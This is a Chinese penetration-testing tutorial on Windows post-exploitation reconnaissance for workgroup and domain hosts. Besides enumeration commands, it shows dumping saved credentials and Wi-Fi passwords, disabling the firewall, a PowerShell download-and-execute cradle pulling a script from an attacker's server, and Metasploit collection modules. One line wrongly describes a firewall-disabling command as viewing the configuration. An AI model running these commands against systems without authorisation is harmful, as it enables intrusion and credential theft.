简介
Windows中虽然可视化非常完善,但我们在渗透过程中很多时候只能调用目标命令行,无法使用可视化界面。Windows主机在渗透过程中主要有两大类,一个是工作组模式,一个是域模式,点击查看->工作组和域的区别<-。
通用信息收集命令
通用命令指的是指工作组和域下都通用的命令Windows
Windows命令不同于Linux的添加属性时为中横岗-, Windows命令主要是使用斜杠/,查看大部分Windows命令的帮助信息都是添加/?参数即可。大多数情况下,Windows中的命令行对大小写都是不敏感的。
net: Windows网络相关命令
net user: 查看本地用户列表
net accounts: 查看本地密码策略
net localgroup: 查看当前计算机中所有组
net localgroup administrators: 查看管理员组的信息(哪些用户为管理员)
net statistics workstation: 查看主机开机时间和开机后的网络状态
net session: 列出本地计算机连接的客户端对话信息
net share: 查看本机共享列表和可访问的域共享列表
net use 本地盘符 \\目标IP地址\目标共享名: 这里目标共享名可以通过对目标执行net share查看,这条命令可以将目标盘符挂载到我们本地。
whoami: 查看当前使用的用户信息
whoami /all: 查看更详细的信息
quser和qwinsta: 查看当前所有在线用户和会话
quser 用户名或会话名和qwinsta 用户名或会话名: 查看指定在线用户
PS: 这俩命令效果差不多,一个优先显示用户,一个是优先显示会话
ipconfig: 查看当前计算机网络信息
ipconfig /all: 查看更详细的网络信息
ipconfig /displaydns: 查看DNS缓存信息
systeminfo: 查看计算机系统详细信息(比如:CPU信息,系统具体版本信息,当前安装的补丁,网卡信息等等)
systeminfo.exe | findstr "OS": 查看系统相关信息,(使用findstr进行搜索指定的信息,搜索的时候字母大小写是有区别的)
systeminfo.exe | findstr "KB": 查看补丁列表
wmic: 使用此命令可以查看更多的系统软硬件相关信息。可以直接使用wmic os、wmic cpu等方式查看需要的信息。
wmic service list brief: 当前服务摘要,可以查看当前计算机中有哪些服务,在和我们在任务管理中查看的是一样的。添加list brief后只会显示当前需要信息的一些重要摘要。精简后的信息方便查看。
wmic product get name,version,InstallSource: 当前安装软件的名称、版本、安装位置(如果无法使用wmic,还可以使用Get-WmiObject Win32_Product,查看当前已安装的软件)。如果需要的信息不再摘要中,可以使用get来指定需要显示的信息
wmic qfc: 查看当前系统补丁的相关信息(名称,描述,安装日期,id等)
wmic process: 查看进程信息(可以只查看关键信息wmic process list brief,或者使用tasklist查看进程信息)
wmic startup: 查看启动程序信息(wmic startup list brief)
wmic /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct: 查看安装的杀毒软件
wmic share: 查看本机共享列表和可访问的域共享列表(和上述net share作用相同)
schtasks: 查看计划任务(Windows8之前可以使用at),可以使用schtasks /query /fo list /v(使用列表格式/fo list显示所有计划任务/query的详细信息/v)
cmdkey: 创建,显示和删除保存的凭证信息(用户名和密码)。
cmdkey /l: 查看具体凭证信息
type: 相当于Linux中的cat,用于查看一些文本文件
type C:\Windows\system32\drivers\etc\hosts: 查看hosts文件
netstat: 查看本机各端口状态
netstat /ano: ano是最常用的参数。此参数的含义为将所有的连接(TCP和UDP都有)/a,以数字形式显示地址和端口号/n.并且显示与每个连接关联的进程 ID/o。(使用netstat -ano |findstr "端口号"命令可以查看指定端口信息)
netstat /anob: 如果权限足够,还可以使用参数/b,他可以显示在创建每个连接或侦听端口时涉及的可执行文件。
netsh wlan show profiles: 查看当前保存过的wifi名称,然后在使用netsh wlan show profile name=WIFI名称 key=clear,即可查看WiFi的详细信息以及密码。
netsh firewall set opmode disable: 查看防火墙配置
netsh advfirewall firewall show rule name=all: 查看已配置的防火墙规则
netsh advfirewall set allprofiles state off: 关闭所有防火墙(包括域,专用,公共)此命令需要管理员权限,此命令只能在Windows XP(Windows server 2003)之后的版本执行。老版本系统使用netsh firewall set opmode disable关闭域防火墙。
route: 操作网络路由表。
route print: 查看路由表和地址解析协议(arp)缓存
arp: 显示和修改地址解析协议(ARP)使用的“IP 到物理”地址转换表。
arp /a: 查看地址解析协议缓存(相比于route print,这个命令对地址的分类更加清晰,更方便我们找到内网中其他和目标主机通讯过的主机)
reg query: 查看注册表相关信息
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer: 查看代理信息(全局代理时使用此命令查看)
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL: 查看代理信息(自动代理,比如PAC模式时候使用此命令查看)
回收站内容获取
首先我创建了一个测试文件,并将其删除进入回收站,之后我们就测试查看此文件
FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid')do dir /a /b C:\$Recycle.Bin\%d\ ^>%c.txt,首先我们在cmd中执行上述命令。(注意这里必须是cmd,这条命令不支持在powershell中执行!!!)
从中我们可以找到当前用户的SID和一个隐藏文件夹,然后我们移动(cd)到这个目录中
自动化信息收集
自动收集脚本
HIGS.bat:https://github.com/myh0st/scripts/blob/master/Windows%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/HIGS.bat
winPEAS.bat: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/winPEAS/winPEASbat/winPEAS.bat
Powerless.bat: https://github.com/M4ximuss/Powerless
Get-Information.ps1:https://github.com/samratashok/nishang/blob/master/Gather/Get-Information.ps1
使用方法:
本地加载: 直接在本地运行即可,比如说上述HIGS.bat我在本地运行后生成如下文件
远程执行:比如Get-Information.ps1 powershell iex(new-object net.webclient).downloadstring('脚本所在公网地址');Get-Information, 这里公网地址可以使用一个vps运行python -m http.server即可
使用msf自动化收集模块
(metasploit怎么用上,下): 这里我已经渗透进入一台目标主机,进入了sessions
run scraper: 比较全面的系统信息,比如注册表,安装软件,网络环境等信
息。
run winenum: 收集一些当前系统,用户组相关的信息。
如果是root用户,这两个命令收集的信息保存的目录是/root/.msf4/logs/scripts/中,如果不是root用户,则会自动保存进入home/用户名/.msf4/logs/scripts/中
域专用命令
net: Windows网络相关命令
net view /domain: 查询域名(使用net view命令时,要确保域服务器上线,否则会报错6118)
net view /domain:域名查询域中的计算机(或者使用net view /all)
net group /domain: 查询域中所有用户组
net group "domain admins" /domain: 查看那些域管理员组中有哪些用户(net group "enterprise admins" /domain,可以查看域系统管理员用户,enterprise admins权限组权限大于domain admins,是域中权限最大的用户组)
net group "domain users" /domain: 查询域中所有用户(或使用net user /domain)
net group "enterprise admins" /domain: 查看加入域的服务器列表
net config workstation: 查看域信息(当前登录的域)
net user 指定用户名 /domain: 查看指定用户的详细信息
net time /domain: 查看域控当前的时间(可以哟用于查看域控所在的主机地址,用于寻找域控)
net accounts /domain: 当前域密码策略
net localgroup administrators /domain: 查看本机的域管理员(net localgroup administrators命令既可以在域中执行也可以在工作组中执行,而这条命令只能在域中执行)
dsquery: 此工具一般只存在域控中,如果没有目标机器没有此命令,可以自行下载添加。此命令当前只找到Windows server 2012以及之前的版本dsquery下载地址
dsquery computer: 查看当前域中所有机器
dsquery user: 查看当前域中所有账户名
dsquery group: 查看当前域中所有组名
dsquery subnet: 查看当前域所在网段(可以结合nbtscan使用)
dsquery site: 查看域内所有的web站点
dsquery server: 查看当前域中的服务器(一般只能看到自己和域控的)
dsquery user domainroot /name *admin* /limit 240: 查询域内账号名中带admin的前240个结果。
nltest:
nltest /domain_trusts: 查看域信任列表
nltest /dclist:de1ay: 查看当前域控制器的机器名
whoami: 查看当前使用的用户信息
whoami /fqdn: 查看当前域信息
定位域控方法
使用ipconfig: 查看详细的网络信息ipconfig /all中会有DNS服务器信息,而一般这个DNS服务器就是域控所在的位置。
nslookup: 一般address中的目标地址即为域控所在,如果这里显示为::1则代表本机即为域控。
如果权限足够可以使用nslookup -type=all _ldap._tcp.dc._msdcs.域名.com查看域控详细信息。
还可以查看域内邮件服务器(nslookup -q=mx 域名.com)和DNS服务器(nslookup -q=ns 域名.com)
setspn: 可以使用setspn -q */*或setspn -T 域名.com -q */*定位
net group: 使用net group "domain controllers" /domain查看域控名称
转载:https://blog.csdn.net/qq_39611230/article/details/113782525
作者:
欢迎大家去关注作者
欢迎师傅加入安全交流群(qq群:611901335),或者后台回复加群
如果想和我一起讨论,欢迎加入我的知识星球!!!
扫描下图加入freebuf知识大陆
师傅们点赞、转发、在看就是最大的支持
后台回复知识星球或者知识大陆也可获取加入链接(两个加其一即可)